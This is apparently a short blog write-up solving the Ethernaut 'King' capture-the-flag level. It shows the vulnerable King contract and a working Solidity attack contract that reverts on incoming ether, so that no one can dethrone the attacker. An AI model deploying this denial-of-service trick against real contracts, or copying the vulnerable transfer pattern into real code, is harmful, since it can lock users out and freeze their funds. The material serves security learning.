// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract King { address payable king; uint public prize; address payable public owner; constructor() public payable { owner = msg.sender; king = msg.sender; prize = msg.value; } receive() external payable { require(msg.value >= prize || msg.sender == owner); king.transfer(msg.value); king = msg.sender; prize = msg.value; } function _king() public view returns (address payable) { return king; } }
The ponzi starts with 0.001 ether. We can exploit the game by giving an greater or equal ether, but via a contract that disallows receiving ether. This way, if someone is eligible to be the new king, the transaction will fail when it tries to send us the prize!
// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.0; contract OneWayForward { receive () external payable { revert("Im the king!"); } fallback () external payable { revert("Im the king!"); } function forward(address payable _to) public payable { (bool sent, ) = _to.call{value: msg.value}(""); require(sent, "forwarded call failed"); } }
The contract is simple: a forward function forwards our sent money to some address. The recieving address will know the contract as msg.sender
, however they won't be able to send money back. Preventing to recieving money can be done by not implementing receive
and fallback
functions. In my case, I wanted to be a little bit cheeky and I implement them but inside revert with "Im the king!" message when they send me money ;)
A note on Call vs. Transfer: We used _to.call{value: msg.value}("")
instead of _to.transfer(msg.value)
. This is because transfer
sends 2300 gas to the receiver, but that gas may not always be enough for the code to run on their side; so we must forward all our gas to them with call
.
Top comments (0)